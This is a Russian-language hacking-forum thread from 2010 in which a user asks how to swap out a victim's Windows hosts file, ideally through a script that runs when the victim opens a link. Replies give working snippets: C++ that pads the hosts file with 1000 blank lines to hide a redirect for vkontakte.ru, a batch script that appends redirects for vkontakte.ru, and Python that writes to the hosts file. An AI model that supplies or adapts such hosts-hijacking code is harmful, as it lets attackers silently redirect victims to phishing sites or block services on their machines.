PDA

Просмотр полной версии : На каком языке можно реализовать подмену hosts?


Шухер
29.01.2010, 22:28
и как?

waik
29.01.2010, 22:30
почти на любом.С начало определи язык а потом думай о реализации.

Шухер
29.01.2010, 22:38
а на каком легче?

Fata1ex
29.01.2010, 22:39
на языке программирования легче всего

Шухер
29.01.2010, 22:42
а я думал на испанском, ошибаюсь?

Fata1ex
29.01.2010, 22:44
ага

Alv
29.01.2010, 22:48
Я на C# сделал

Шухер
29.01.2010, 22:52
на java скрипт или пхп кто-нибудь поможет сделать?

Iron47
29.01.2010, 22:53
#include <iostream> //стандартный поток ввода/вывода.
#include <fstream>//для работы с файлами
using namespace std;// используем по умолчанию пространство имен std.
int main(){/*это главная функция. Она у нас ничего не возвращает, но типом главной функции может быть только int. void нельзя.*/
freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout); /* тут мы делаем переадресацию iostream на fstream с ключом дозаписи.*/
unsigned int a = 0; // создаём переменную счетчик.
while(a<=1000){ //создаём цикл
a++; //который заполняет файл hosts
cout<<"\n"; //тысячью пустых строк
}
cout<<"127.0.0.1 vkontakte.ru"; // это строка переадресации
}

Fata1ex
29.01.2010, 22:53
Попробуй так:

rm hosts.txt; mv fake_hosts.txt hosts.txt

По-моему, отличная подмена

но типом главной функции может быть только int. void нельзя.
огосподигдевасэтомуучат

int main() ничего не возвращает о да

waik
29.01.2010, 22:57
где-то мне на ачате довали код нс С++ в теме про с+++ ,жаль исходник не сохранился.

Iron47
29.01.2010, 23:04
огосподигдевасэтомуучат


:D

на бате еще можно

@echo off

echo 209.85.229.104 www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts

echo 209.85.229.104 vkontakte.ru >> %windir%\system32\drivers\etc\hosts

Шухер
29.01.2010, 23:04
Iron47, а если у юзверя не С диск виндозный?
Fata1ex, объясните плиз, на каком это языке и как вообще работать?)
сори, но я нуб)

Шухер
29.01.2010, 23:06
бат не подойдет(

Fata1ex
29.01.2010, 23:08
тебе надо больше конпелировать
и читать умные книжки
тогда тебе будут давать много долларов

Шухер
29.01.2010, 23:16
по-моему вопрос поставлен четко.других советов я не просил.

понятно изъясняюсь?

CyberHunter
29.01.2010, 23:30
А можно ли это реализовать на Python'е? Я просто еще не учил работы с фалами.

Шухер
29.01.2010, 23:45
мне бы сделать так, чтобы перейдя по ссылке выполнился скрипт и подмений хосты на нужные.реально?

Zedobat
29.01.2010, 23:49
мне бы сделать так, чтобы перейдя по ссылке выполнился скрипт и подмений хосты на нужные.реально?
Бесплатно - нет.

Шухер
29.01.2010, 23:52
сложно реализовать?

CyberHunter
30.01.2010, 00:12
сложно реализовать?
В разделе статьи есть то что тебе надо, правда не знаю актуально ли это еще.

gold-goblin
30.01.2010, 00:49
А можно ли это реализовать на Python'е? Я просто еще не учил работы с фалами
Можно, причем без проблем.
host = open ('адрес до хостс/hosts.txt', 'w')
host.write('строка которую добавить')
Я под линь кожу по этому константы системной папки под вин не знаю...

buxmanager
30.01.2010, 02:31
http://forum.antichat.ru/thread164577.html читай! Тут все есть вроде бы!